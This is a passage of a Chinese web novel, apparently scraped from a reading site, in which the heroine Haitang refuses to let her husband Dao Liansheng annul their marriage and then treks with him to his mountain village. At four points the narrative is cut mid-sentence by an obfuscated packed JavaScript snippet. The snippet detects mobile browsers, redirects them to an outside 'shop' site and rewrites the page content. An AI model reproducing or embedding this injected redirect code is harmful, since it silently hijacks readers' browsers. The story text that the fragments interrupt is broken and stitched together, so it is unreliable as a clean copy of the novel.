不知哪里吹来的一股风,他耳旁垂着的那半截绣着艳丽花纹的包布轻轻晃动,有下没下地轻拂过他黝黑的脸膛,竟将一个高壮粗犷的汉子,描摹出一丝温柔来。 视线还在像只无形的手在刀莲生身上肆无忌惮地游走,无意中看见他身后、自己那便宜娘直给她使眼色。 定然是催促她快点讨好夫君,赶紧哄着男人回婆家去。 海棠才意识自己看帅哥看走了神儿,忙清了下嗓子道:“这婚不能退。” 哄男人?她可不会。 从来都是男人哄她的。 那两道火辣辣的视线收了回去,刀莲生暗自吁了口气。只是听明白海棠那话,立即扭头看向她道:“可,可……但是你,你……” 也不知道怎么回事儿,可能心急了点,他磕磕巴巴,竟半晌说不出一句完整的话来。海棠只看着他那结巴样儿都替他着急得很,干脆直接掌控了话题主导权。 “我知道你一定有很多话要跟我说。但你看我家这种情况,是个能好好说话的地方么?有什么话,咱们还是先回你家去说吧。” 看他脸又现急色,海棠建议道:“你要不别说话,只听我说。我说的话,你要是同意,就点个头。不同意,就摇个头。” 刀莲生呆了下,然后,他缓缓地摇了下头。 “是不同意回你家去说么?” 他忙忙地点了下头,双眼发亮地看着她。 哟,这是赞她聪明,一下子就能说到点子上吧。 “好吧,”海棠暗觉看走了眼。这男人精明着呢,根本不上她的当。 回婆家了还退什么婚?更退不了了。 这男人看出了她想诳他先回家的打算。 但她也是打定主意不退婚的。 海棠想了下,放柔了声音,说:“当初你既向我家下聘,说明你愿意娶我为妻,不是谁逼着你娶的我,对不对?” 男人看了看她,犹豫了下,几不可察地点了下头。可是脸色有些颓,眼也垂了下去,目色晦暗。 海棠有些奇怪,但这时候可没闲情管他怎么会流露出一种难受的表情来,她再道:“我只是回趟娘家,又没犯七出之条,你不能因此休了我。你说是不是这个道理?” 这次男人蹙眉看着她,嘴抿得笔直,既不点头,也不摇头。 想是他已知道她还有后话,怕掉坑。 海棠暗乐。 她也不遮掩,直接说出了更强盗的话:“你不回应便是默认了我说得对。那,既然你没休我,我咋就不能在娘家和婆家之间自由走动了?我就回了趟娘家,你便闹着要退婚,这没道理。天下事都逃不过一个理字。你不占理,我们不退婚,到哪儿都说得过去。” 她这么说,实在强人所难。就像她娘说的,新婚洞房夜啊,这时候跑掉,新郎官哪里受得了?但她对此模糊不言,歪曲事实,把责任和过错最后反推到刀莲生身上。 若是她那个便宜爹,闻此一番话,只怕一巴掌又挥过来了。 而刀莲生绷紧了脸,漆黑的眼委委屈屈地瞟她一眼。然后,他再不看她,转身就朝先前坐的那张椅子走过去。这是不想听她再胡说八道了。 定然心里还觉得她跟她爹就是一个德性。 海棠从鼻子里乐出声。 只是,怎的,你还打算赖在我家里非把婚退了不可? 海棠紧走两步一把拉住了他的手臂。 咦,他这手膀子挺粗壮有力的啊。 忍不住暗自捏了两下。 刀莲生蹙着两条浓眉回头看来,微一用力,就把她的手甩开了。 但海棠却没有忽略掉他脸上一闪而过的不自在。 害羞了? 好稀奇。 海棠的心情一下子变得很好,好到她突然想要放下身段哄哄这男人。 于是她伸手,牵住了刀莲生腰间斜跨的那个布包晃了晃,“好了好了,都是我的错,我给你赔不是吧。”她刻意嗲嗲地道,“对不起啦,夫君,我错了。待回去后我一定好好补偿你。那,我们现在就回家去好不好?” “……”刀莲生流露出惊愕的表情来。 海棠有些无地自容。 人生头一回哄男人,结果给人家嫌弃成这样! 要不是这个娘家她不满意,这世界她也不熟悉,必须先得找个地方安身。两下比较,夫家靠谱点,否则这婚退就退了,谁稀罕! 她一把甩开那布包,将眉头一拧:“你一男人墨迹什么?好不好嘛给个话!” “……”刀莲生又愕了下,然后张了张嘴,但是,结果,他还是一个字也没说出来。 她不是有耐心的人,就很讨厌温吞的人,尤其是男人。不痛快,算什么男人? 不想再看他那迟疑不定的拧巴样儿,这样要拉扯到几时?海棠朝陈氏扬声说了句:“娘,我们回去了。”干脆利落地转身就走。 刀莲生很吃惊,但并未生气发火,只是急色:“喂,你——” 陈氏忙忙应道:“好好好,早点回,免得走夜路。”盖过了他的声音。 海棠统统充耳不闻,像狗撵了来似的,提起裙子脚下跑得飞快。 到了院坝边,她半回过身。 余光扫到陈氏半推半拖着刀莲生追出门来,“快回去吧。路远,不早点回,天黑了走夜路可不方便。” 那男人眉头深锁,一脸不情愿,但到底,他还是拔腿跟来了。 她那个娘可高兴了,又追在后面一阵,大声叮嘱道:“莲生啊,你一定要待我们海棠好好的。她在娘家打小被娇养,脾气有些怪。她要是有做得不好的地方,你尽量多担待着点啊!” 出了傅家的院子,海棠捡着路就走,不管对错。 好在出村的道路就一条又宽又好的青石板路,很好认。 一口气出了村,田啊地啊多起来,没有人烟房舍了,海棠才停下来等着,还是有些担心刀莲生不追出来,只赖在她娘家要骡子。 若是这局面,她已经不知道要怎么收拾了。 回去娘家,少不得被那个便宜爹打,这是肯定的。 好在,只等了约莫两三分钟的样子,刀莲生不紧不慢地在村口现身了。 海棠便闷头继续往前走。 走出两步,听到那男人在身后说:“喂,你走错了。” 海棠抬头看看路,她刚过了个岔道口。 走回来,在路口等着他走近了,笑道:“哟,不结巴了。” “……”刀莲生不理她的揶揄。 这该算是他第一次主动跟她说话,不磕巴不紧张,张口就是一句完整的话。看来先前定然是给她爹压制得很了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她懒洋洋地回头。 刀莲生脸上的表情很复杂,他看了又看她,像发了狠,说:“算了,当我没说!” 不放心的又看了她一眼,见她脸上已露出笑,然后他低头绕过她,径直走到前面去了。 海棠暗自一笑,赶紧跟上他。 在他身后聊天一样好笑地道:“你这男人真奇怪,几乎是白饶给你个女人你不要,要骡子。你不知道我们那地方,僧多粥少,十个男人抢一个女人,就只能拼彩礼了,谁出的彩礼高谁就能娶到媳妇,不然就打一辈子光棍儿。”她信口开河道。 刀莲生放慢了脚步。 海棠也在他身后停下了脚步,看着他的背影,不知道他要做什么。 刀莲生没转过身来。 海棠听到他背对着自己闷闷道:“我退婚,也是为你好。” “怎么讲?” 刀莲生回头,神色怪异地看了又看她,然后目光盯着地面,嘴唇动了动,似乎叹了口气,开口,透出七分无奈三分苦楚,“……我们山里人,穷。” 海棠信口应道:“再穷不至于没饭吃、没衣穿。”走上前,伸手在刀莲生胸膛上推了一下,“再穷,能把你养得这么壮实?” “……” 胸口处有温软的触感像火一样烫了他一下,刀莲生面无表情地退开一步。 余光扫过去。 海棠踩着双脏得都已看不出花样儿的红色绣花鞋,似笑非笑,姣好的脸上气焰嚣张,“哟,你的胸是金子做的吗,这么衿贵?摸都不给摸一下。” 5. 第 5 章 “我说你是不是傻?女人能给你生孩子,骡子能给你生孩子吗?” “哦,错了,骡子也能生孩子的。但是骡子生的孩子它能喊你爹吗?能给你端茶倒水捶背捏腿吗?能给你养老送终吗?你这个傻大个儿。” 刀莲生停下来,回头看她一眼。 海棠也停下来。 刚爬了一片坡,累得她气喘吁吁,倒是精神还好。 见他看来,反而更加抖擞,一只手掐着腰,一只手点点他,嘴角衔着一抹浅笑,气息不稳道:“你这个闷葫芦,我告诉你,女人不仅能给你生孩子,还能给你暖床铺被,洗衣做饭。你在外头劳作一天回来,女人还会用她的……嗯,总之会热情地帮你纾解疲乏。你现在是体会不到,想也想不出,总有一天你知道了女人的好处,人家就是用一百头骡子跟你换,你也不愿换的,傻帽。” 刀莲生:“……” 世上怎么会有这么能说的女人?这一路上,她已经自言自语了快一个时辰了。 嗯,一百头骡子?哪个傻帽会不愿意换呢?就是只给他十头健骡他也换了。 女人,从来都不是他生命里的必需品。 垂下眼睫,他转过身去,步子迈得更大了。 两人一前一后走着,相距约莫三丈远。 对方速度不快,似乎也是有意将就她一个女人,这点心思让海棠察觉到,生了好感。 她从背后打量男人,这才注意到这个叫刀莲生的男人竟没穿鞋…… 他光着一双大脚,脚掌厚实而粗糙,脚背的肤色比他的脸膛还黑。视线往上,露出裤脚的小腿肚,肌理偾张。 这是一双常年劳作的脚。 勤劳的男人,是会让女人心安的。 海棠回头去看看,娘家的村庄早已经看不见影子了,周围也没有人家,听不到鸡鸣狗叫。 虽然是去往一个未知的地方,会接触到一大堆未知的人,但是此刻海棠很心安。安心地把这一趟当真是回了一趟娘家而已。 她对男人很有好感,想着尽快拉近距离。 这男人是个犟驴,搞好了关系,他该不会惦记娘家那头骡子了。 海棠信马由缰,想到什么说什么,并没在刀莲生面前顾忌着应该要展现古代汉人女子应有的含蓄之美。 她知道这样子,肯定跟原身差别很大。 但两人不熟,他又是少数民族。不是同一个民族,互不了解,正好给她行个方便。少数民族的民风又向来彪悍,说不定在这个男人眼里,女人就该是她这样子。 但是,她想拉近关系,人家却对她一概不理会。这让海棠很挫败,慢慢也不想说话了。 乡下的路真难走。 她穿一双绣花鞋,鞋底软,跟又浅,道路却崎岖不平,石头、水洼、荆棘、苔藓、牛羊粪……啊,这真是堪比埋了地雷。有时候一脚下去,踩一滩泥水或是热乎乎的牛粪。还有青苔,路上这最多,好几次她差点仰面摔倒在地。她又穿的是布裙,裙子长,步子迈不大,不得不提着裙摆,又常常给灌木勾住。到最后,她已经给折腾得完全没了脾气,只闷着头往前走,专心盯着脚下的路。 刀莲生几乎不吭气,她好像对着空气说话,无聊死了,又累,连话都不想说了。 这种寡言少语的男人,木讷,一看就干巴巴的没故事。他能娶上媳妇,肯定是因为踩过狗屎。能娶到她,是他走了狗屎运! 他只会偶尔停下来,回头无奈地看她一眼,无声催促她跟上他的步伐。 海棠这时候会加把劲儿紧走一阵。 太阳开始往西斜,山间小路上映出两道长长的影子。 刀莲生沉默地走在前面,察觉到身后不知何时又没了海棠的动静。 他回头看看。 她已经又在百步之遥了,不由得望天长长地叹了口气。 他想,他今天一定是把半生的气都叹了。 照这样的龟速,只怕会摸黑赶夜路了。 太阳很毒辣,海棠被烘烤得有气无力,也把她的脾气搞得一触即发的暴躁。 当刀莲生第四次回头来看她时,海棠火了,“你走你的,我自会跟上,你老看我做什么!” 太阳一晒,出了汗,刀莲生那张黝黑的脸膛上浮出一层薄薄的油光来,这让他的脸色看起来更黑了。——但也更容易让她误会他因为她走路慢,他脸色才更黑的。 青年发傻地哦一声,转身走了。 海棠从鼻腔里冷哼出声,停下来回头看看走过的路。 田庄已经变成了河流、山谷和大山。连绵不绝的大山。他们一直在往大山深处去。 呵,他还真是名副其实的山里人。 前面有团影子挡着了道,她绕过他,然后猛地想起,这是她的“丈夫”。 她不得不停下脚步,偏过头去,看向那个木讷的男人。 “又怎么了?”海棠撩一下头发。 走了太长的路让她的语气不太好。 这什么婆家,到底住得有多远!走了起码两个多小时了还看不到村庄的影子! 因为走路热,海棠已经把她那个松松垮垮的发髻拆了,编成一条又粗又长的麻花辫垂在左胸前,辫稍用几根野草茎绑住。刀莲生看着稀奇,走一截路回头看她一眼,走一截路,又回头瞟她一眼。到第三次回头再偷看她时,愣原地了。 他的目光落在海棠的手臂上。 海棠上身是一件对襟短衣,衣袖宽大。因为太热了,她就把袖子挽了起来,露出了半截手臂。 刀莲生的目光像探照灯,将海棠手臂上的青青紫紫照得发亮。 海棠不明所以,歪头打量他。 男人的眉头皱得死紧,黑脸紧绷着。 他在生气吗?气什么呢? 顺着他的视线,海棠明白了。 她把袖子更往上挽了两圈儿,露出整条手臂来,青青紫紫,一览无余。 海棠一笑,斜睨着他把袖子缓缓放下来遮住手臂,“心疼了?你要是早点说出不退婚了的话,我脸上也就少挨一巴掌了。”理直气壮地把错怪在男人头上。 刀莲生并未生气,反而十分不解,“你怎么不哭?” 按说,她跑回娘家被打,他多少意料到了。但是这个女人被打得浑身青紫,卧床不起。醒来后又被当众掌掴,换做别的女人,该是惊恐万状,胆小懦弱得只知道哭,偏偏她,还能笑…… 这个白得晃眼的女人,似笑非笑,看他的眼睛里带着揶揄,“哭?我只会被我的男人弄得哭。喂,”她欺近他,轻声,如在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053666|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呓语:“你想不想看我哭?” “……” 刀莲生嘴唇动了下,终是什么也没说,扯开大步朝前去了。 临近晌午,太阳爬上头顶。烘烤了半日的大地,热气从地下蒸腾而出,气温飙升。 翻了一道山梁,海棠体力不济,步子迈得越来越拖沓。 刀莲生停住脚,等着海棠从下面爬上梁来。 好半晌,她手脚并用爬上来了。 刀莲生已经摘下包头布,露出一头约莫两三寸长的头发。 看来他的民族流行平头。 男人汗多,海棠见他脸上、脖子,还有头上的短发里亮晶晶的全是汗水。她爬上来时,他刚撩起衣服下摆往头脸上抹。 海棠是绝不亏待自己的人,抓住机会,视线在男人精壮的小腹上流连忘返。 刀莲生放下衣摆,说:“休息会儿再走。” 海棠早热得不行,又疲惫不堪。奈何男人一直赶路,她在后面咬着牙不停追不停追,还给人嫌弃走得太慢了。 海棠解开脖子下面的衣裳盘扣,很没形象地把衣襟扯开了些,露出汗津津的细脖子和漂亮锁骨,冲刀莲生笑道:“原来你还知道怜香惜玉呐。” 男人睨她一眼,“你没三急?” “……”海棠噎了下。 翻过梁来的这一面,下头是条河沟,夹在两山之间。河水水流平缓,在林荫遮蔽的地方,发出淙淙的水流声,十分悦耳。 那男人拽开大步就往河边去了。 他攀着树枝下到河滩里,再把裤脚挽至大腿根处,慢慢蹚进河中央,用搓洗过的包头布洗脸擦拭身体。 林间的知了鼓噪个没完没了,此起彼伏,叫得人心浮气躁。 海棠钻进林深处解了手出来,在河里没看见刀莲生,暗想他可能也找地方方便去了。 海棠走到河沟边,看那河水很浅,河水清澈见底,山上落下来的石头大都露在水面上。 河边有风,凉风习习。她身上热汗变冷汗,汗湿的衣裳贴在身上,黏腻腻的很不舒服。 左右看看无人,海棠将裙子提起来扎在腰上露出两条笔直皙白的大长腿,挽起袖子,也学刀莲生那样攀着河边的树枝慢慢滑入河沟里。 海棠用手捧水洗了脸脖子、手臂和大腿,但觉凉意入骨。看这水,水流干净清透,又捧起来喝几口,顿觉通体舒畅。还觉得这水沁凉甘甜,忍不住捧起来多喝了几口。 忽听见哗啦一响,有什么东西破水而出。 她还在弯腰捧水喝,抬起眼皮看去。 刀莲生裸着上身,短衣和包头布都搭在肩头,一边系着裤腰带从不远处一块大石头后面走出来,长腿带动水流,哗啦一片响。 定然是在水里扎了猛子,他头上和厚实的胸膛上都在往下淋漓地淌着水。水流沿着他黝黑的胸膛、偾张的肌理无声的滑进腰带里消失不见。下身藏青色的裤子颜色更深了,服帖在大腿上,逐渐显出一些形状。 骤然看见海棠,两人对视一眼,男人甩着头上的水,面无表情转过身,慢慢往上游蹚去了。 海棠在水中站了一会儿,忽然弯腰抓起河底一块鹅卵石,朝那道已经远去的背影狠狠砸过去。 石块落进河沟里,溅起小小一朵浪花。 6. 第 6 章 阳光刺目发白,从层层叠叠的叶缝和稀疏的树枝中洒透下来。 刀莲生走到一株参天大树下,背靠着树干坐下来,屈着一条腿眼望着下面的河沟发呆。 海棠清洗好了,解了乏和渴,爬上岸来,摘了片宽大的树叶当扇子扇,走过去轻轻踢了下刀莲生的大腿,信口问道:“还有多远?” “过半了。”他头也不抬,余光落在她那双停在自己腿边的绣花鞋上。 他看的不是鞋,是女人的脚。 她的脚真小,小巧玲珑,不盈一握。 “不是吧?才走一半路啊?!”海棠一声哀嚎。 刀莲生这才掀起眼皮奇怪地扫她一眼,他动了动唇,但终究是什么也没说,视线移开,仍旧看着河中央那块大石头。 她能独个儿跑回娘家,竟不知道路程么? 海棠全没注意到刀莲生脸上一闪而逝的疑惑,她抬头看看对岸。 对岸又是山。 前行的路只有一条。 在两山之间的河沟上面有一道单孔石桥连接,桥在下游二三十米远处。石桥对岸有一条上山的蜿蜒小路。 很明显,他们要过河,然后还要爬上对岸的山。 对面山上林木繁茂,并无人烟的样子,很明显,肯定又是要翻山越岭的。 才走了一半的路已经要了她半条命似的,再翻一座山,不得要了她整条老命?海棠又哀嚎了一声。 住在深山老林里,自耕自足,难怪聘礼就只有一头骡子。 两人无话。 海棠在离着刀莲生几步远处也找了棵能遮阳的大树,背靠着大树干席地坐下来,闭上眼睛听着那呱噪的蝉鸣静心养神。 刀莲生将身上的布包解下来,打开,往外掏东西。 余光扫过去。 海棠歪着上半截身子靠在树干上,两条腿很没形象地岔开伸直了摆在地上,两手垂着。若不是看她胸口起伏着,那副死鱼模样就不像个活物。 有这么恼火吗?不过就是翻了两条岭。 海棠昏昏欲睡,忽然听到男人喊她:“哎!” 她动也不动,只是张开眼来,偏过头去,懒洋洋地应道:“又干嘛?” 刀莲生扬手朝她扔过来一样东西。 海棠倏地坐直身体,本能地张开手臂去接。 不过刀莲生丢得很精准,直接落入她怀里。 “什么东西?”海棠抓起来一看,是一个巴掌大小的干饼子。 捏着饼子翻来覆去看一眼。 不知道是什么食材做的,黄黄的,又夹杂不少褐色黑色的粗颗粒。 大概猜到这应该是男人给她吃的干粮。 果然听刀莲生说:“吃的。” 海棠顿时大喜过望,“我就说你是个懂得怜香惜玉的男人嘛,知道我正好饿了,所以及时送温暖,哈哈。”她很开心,扬着手里的饼子冲刀莲生道:“谢了啊,夫君。” “……” 刀莲生闭上了眼睛。 海棠捏着饼子正要张嘴咬下去,余光扫到刀莲生,扭头看去,只见他靠在树上闭着眼睛假寐,不由问道:“你不吃吗?” 男人不吱声。 海棠想了下,换个问题问:“你的饼子呢?不会就这一个吧?” 刀莲生仍不做声,但是手伸进了他肩上斜跨的布包里掏啊掏。 海棠就以为他还有,自顾自抱着饼子啃起来。 这饼子似乎是玉米面和着一些其他粗粮做的,看粗颗粒的颜色,可能是麦子和高粱,但是磨得不精细,灰面也舍不得多加,所以玉米饼子咬一口,颗粒直往下掉,掉得衣襟口都是渣渣。而且无糖无盐,滋味儿寡淡。又干巴巴的,吃了几口,能梗得她噎半天。太恼火了,只能很小口很小口的咀嚼,用口水润湿了再吞咽下肚。 艰难用午餐的过程中,不经意间看到刀莲生手里拿着个拳头大小的馍馍一样的吃食,那颜色跟自己手里这个饼子的颜色很不一样。而且他虽然也吃得慢条斯理,可完全不似自己这般吃得十分痛苦。 海棠立刻来劲儿了。 “喂,你吃的怎么跟我吃的不一样?” 刀莲生不响。 海棠这人,从前被男人捧惯了,现在遇到个总不大爱搭理她的,胸口一直蓄着一股邪火只待寻机发泄。 她从地上爬起来,几步走过去,伸手就去抢刀莲生手里的饼子。 刀莲生察觉耳旁生风,反应快一步,手避开了,蹙着两条浓眉:“你做什么?” “我要跟你换吃的。”她这话说得,纯属无聊,没事找事。 刀莲生抬头看看她。 海棠居高临下,腮帮子气鼓鼓的,一副很生气的样子。 刀莲生收回视线,面无表情道:“不换。” “为什么!” “你会后悔的。” “哈,我从不做会后悔的事。” 刀莲生很无奈,只得说:“这不是人吃的,是我给骡子准备的。” 海棠微愕,看看他手里那个馍馍,嘁一声,“畜生吃的你也吃??你以为我会信?” 刀莲生微侧头,睨一眼她:“我的饼给你吃了。” “……”海棠语塞。 她没想到这个缘故。 想想也对啊。 他今天是来退婚的,路程又远,所以只准备了一块路上吃的干粮饼子。又以为能把骡子牵回去,就给畜生也准备了吃的。 粗粮饼子就这么一块,看着也不大,巴掌大小,仅够一人果腹,他全给她了。 她开始有点过意不去了,但是也仅限于一点点。她不承认,又半信半疑,于是凉凉地说:“你也不嫌脏。” 刀莲生也不知怎么了,可能给她刺激的,不自觉多说了几句。他说:“豆子做的,山泉水淘洗,上锅蒸熟,再压制成饼,干干净净。” “……” 这人是个闷葫芦,现在能听到他说这么多话,实属难得。海棠还嘴越发刻意为之。她挑刺似的:“你家畜生吃得比人吃得都好,大豆可比包谷贵。都什么豆子做的?” “只是要它长膘的时候偶尔喂点。”刀莲生解释道,“各种豆子,家里有什么就用什么,黄豆,豌豆,黑豆。” 海棠乐道:“这么听起来,这东西吃了应该不会后悔。喂,你别欺负我老实人。我跟你讲,我见过的世面比你大多了,你想都想象不出来。除非你给我尝尝。” “……” 看她这架势,不依不饶,若是不满足她的要求,就别想慌着赶路了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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海棠的性子是,男人只要顺了她的意,她的火烧得快,也熄得快。 她狠狠心,把饼子揉碎了全部塞进嘴里慢慢吞,然后想从地上爬起来,结果发现两条腿又累又酸。去看刀莲生,他已经走出去十来步远了。 海棠想到又要不停地追赶他就头大。 麻花辫往肩头后一甩,她大声冲刀莲生的背影喊道:“喂,我太累了,实在走不动了,除非你拉着我走。” 刀莲生回头,定在原地,拧着浓眉看着她。 海棠越发觉得自己这主意妙极了,她甚至把手朝刀莲生伸出去,“你先拉我起身,再拉着我,我真的走不动路了。”脸上却是笑眯眯的。 她的额发被汗水打湿,同颊边几缕乱发一起贴在在她皙白的脸颊上,额头和鼻翼都有晶莹的汗珠闪着细碎的光。她似笑非笑地望着他,一双手都执着地朝他伸着。 刀莲生木着脸,并不理会。他张眼四下看了看,然后滑下一处坡地,转眼就钻进了树林子里。 海棠不明所以,赶忙爬起来走到他下去那处原地等着。 林子内有树木剧烈摇晃,几分钟后刀莲生手里握着根两米来长、手腕粗的树杈爬上坡来,他把树杈的一端递给她,“你握着它。” 海棠愣愣的伸手抓住树杈,刀莲生握着另一端,在前面“牵着”她继续赶路。 7. 第 7 章 群山葱郁,连绵入云。 不知翻越了几座莽莽大山,翻山下沟,爬坡上梁,紧赶慢赶几乎走了一天的路,海棠觉得两条腿都已经不是自己的了,她也早就不再问刀莲生还有多久能到家。即便对方可能把她带到哪个山旮旯里卖了她也无所谓了,心里只有一个想法——跟着他走就是了。 机械地拖着两条绵软的腿又爬上一道山梁,眼前突然开阔起来。 梁上和风习习,晚霞灿烂夺目。 就在山梁的对面,山脉不再耸立,而是一大片向阳的缓坡地带。 缓坡高处,散落着很多星罗棋布的房子。厚墩墩的土坯墙,黑褐色的茅草顶。屋舍一座连着一座,挨挨排排。房前屋后或栽竹子或种芭蕉,那些茅草屋便俨然一大片藏在林子里的蘑菇。 村落下面全是梯田,一块连着一块,从半山腰处一直绵延到山下河滩。 一条激越的河流自上游山谷澎湃而下。河水向东奔腾流去,河谷地也在这波奔流中被冲击得越来越开阔,在缓坡下面形成一大片滩涂。 寨子的背后,群山又开始高耸,那里正是太阳落下的地方。 此刻斜阳夕照,群山显出它们鳞次栉比的静默的黯淡剪影,美得不像话。 一直沉默寡言的刀莲生,忽然开了腔:“要到了。” 海棠心情好起来,小跑几步追上他,手指着对面山坡上的蘑菇屋,很是兴奋,“是不是就是那里?” 刀莲生“嗯”了声,被她的快乐感染,嘴角微微翘了下。 两人下了山梁,然后过河,开始爬坡。 陆续邂逅人烟,牲畜,田地,房舍。 走了一天,不停地攀山越岭,跋山涉水,沿途鬼影子都没遇到个。这会儿犹如回到人间,海棠有种想流泪的冲动。 有汉子在半坡上撩开敞亮的嗓子高歌:“栽秧咯!大田栽秧栽得稀,和妹快乐好时机。有缘和妹把秧栽,栽到月出日落西……” 海棠听得有趣儿,忍不住笑出了声儿。 一个上了年纪的老汉儿,精瘦秃头,从坡坎上一块田里歪出身子来,“是莲生哎,好像从山外头回来,你去哪儿了?” 刀莲生只说:“招满叔,平秧田哩?” “是啊。你后头那妹崽是谁?”老汉儿扯下肩上的汗巾,从头到颈一通抹,眼睛里带着点吃惊地意思打量着海棠。 刀莲生腼腆地笑笑,并不回答。 上面的田里又探出来个老妇人,大约是那老汉儿的老伴儿,嗔怪地冲对那老汉儿道:“这还能有谁?肯定是莲生崽的新媳妇呀。” 那老汉儿一怔,哈哈大笑,拍着脑门儿说:“哈,我想起来了哩,对头,你媳妇儿!莲生崽,我听说你娶媳妇儿了,咋喜酒都没摆哩?还是摆了酒,却不请我去吃席啊?” 刀莲生只是尴尬地咧了下嘴,并不回答。 老太婆撞了下老汉儿,老汉儿变了下脸色。也不追讨喜酒一事,挤眉弄眼嘿嘿笑着开玩笑,“就这么舍不得?你这是走哪儿都带着媳妇儿啊?哈哈哈哈。” 再将海棠从上至下端详一遍,摇头道,“啧!莲生娃儿,你是得把你媳妇儿看紧点。这俊模样,只怕喂不熟……” 老妪赶忙又打了那老汉儿一下,猛递眼色。老汉儿发愣之余又换了副笑脸,回头来对刀莲生挥手说:“快走快走。哎呀,你最好把媳妇儿关起来,别再带她出来晃荡了,小心给别人看见拐走了,呵呵。” 海棠走过去后,听见后头老妪悄声责骂:“你个老不死的,当着莲生崽面说那话干啥?你管人家喂得熟喂不熟!” 海棠发现,之后刀莲生的脸色,沉了许多。 进寨的路是一段由大块大块的岩石铺就的坡路,经年累月雨水冲刷和人畜的践踏,部分地基塌陷,以至于道路凸凹不平,显得沧桑古旧。 在寨子口遇到个孩子牵着一头驴走下来,驴背上驮着两只满载的竹篓。驴蹄敲击着石板路,哒哒哒,哒哒哒,缓慢而悠长,十分悦耳。 海棠的注意力就从刀莲生身上移开,转到这座自己即将生活的寨子上。 抬头看看,一道石头砌成的堡坎上,几根很有些年岁的粗大圆木深深扎进泥土里,耸立在蓝天下——这大概就是寨门了。 海棠跟着刀莲生从寨门下走过。 寨门上方横亘的原木上挂着一个牛头骨。白生生的骨头,两个完整的灰色牛角。长脸上方,两个巨大的空洞洞地眼眶俯视着底下人。 牛头骨的下面,三个黑漆漆的大字,碧约寨。 寨里的房舍依山而建。 清澈的山泉水在石上流淌着,沿着数不清的沟渠穿寨而过。 房子几乎全是土坯墙,土木结构,多为两层。主屋的房顶上盖着茅草。 但零星也有几处房屋顶上盖的是灰瓦,想来那是寨子里的有钱人家。 很多人家都是小型四合院的样子,在主屋两旁建有双耳房,面向主干道开一道院门进入。 耳房都是平顶。粗木为粱,再铺上细木、稻草,用泥土夯实了作为晒台。晒台上有木头搭的架子,两柱之间横搭几根竹子,一堆衣服晾晒在竹竿上。 秋天的时候,晒台上应该会馋死人,黄澄澄的包谷、红艳艳的辣椒……寨子会美得像调色板。 有不少小孩子和老妪站在平顶的晒台上俯瞰他们。也有害羞的孩子躲在土房子里,拉开半扇院门探出颗若现若现的脑袋偷偷地看她。 可能时间还早,年轻力壮的成年人都还在田地里干活儿没回来,寨子里老人和小孩儿居多。 不时有老人打招呼,“莲生崽,你这是带新媳妇回门了回来呀?” 刀莲生总是含糊不清地应付过去。 土黄狗上蹿下跳,跑进跑出,见到生人来,狂吠不止。 这时候海棠会发现刀莲生会有意无意放慢脚步等她走近,挡在她前面。 寨子里的人,都跟刀莲生一样穿着深色的粗布衣裳,衣服颜色以深蓝色和黑色为主。衣裳的领口、前襟、袖口、下摆和裤脚的地方都有斑斓的刺绣花纹。纹样以简单的几何图形为主。妇女和孩子的花样儿会多点,鸟兽鱼虫都有。想来,就看做绣活儿的妇女是不是心灵手巧。 也全靠刺绣,让一身黑不溜秋、蓝得彻底的衣裳鲜亮活泼起来。 男人女人都包着头布。 很少看见有人穿鞋,大都光着脚板,双脚乌黑,指缝里清晰可见黑色的污垢。 十里不同风,百里不同俗。 初来乍到,海棠对碧约寨的风俗习惯有了个初印象。 刀莲生带着她一直在往寨子深处、高处蜿蜒上行,经过了不知多少户人家的屋前院坝和房屋背后。 “喂!”初时的新鲜劲儿很快给消磨没了,海棠立在原地稍息,拿手掌当扇子扇风,“你家是哪栋?给指指。” 刀莲生站在几步远的石阶上,回头瞄一眼她,心不在焉说快到了。 这意思是此刻所在的位置还看不到他家哦?海棠心里一声哀嚎。 果然,说是快到了,一直到都快要走出山寨了,才终于到了刀家。 路上海棠已经给自己做了许多心理建设。 她那个“娘家”都破败成那样,而二婚夫君穿的寒碜,给的聘礼不过一头骡子,便是这样,娘家也迫不及待的接受了且还不肯退婚,可想而知,什么锣配什么盖,婆家不会好到哪里去。 刀家的穷果然没有辜负她的“期待”。 远瞧着也是两层楼,没有院墙,孤零零的坐落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053668|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寨子的尾巴上。 走近了看房子很有些年岁了。 龟裂粗糙的土坯墙,发黑生霉长草的茅草顶,朽旧的木梁柱……海棠很怀疑,这要来一个地震,只需一两级,就能把这个家震垮。 刀家占地还算宽敞,勉强呈凹字型。 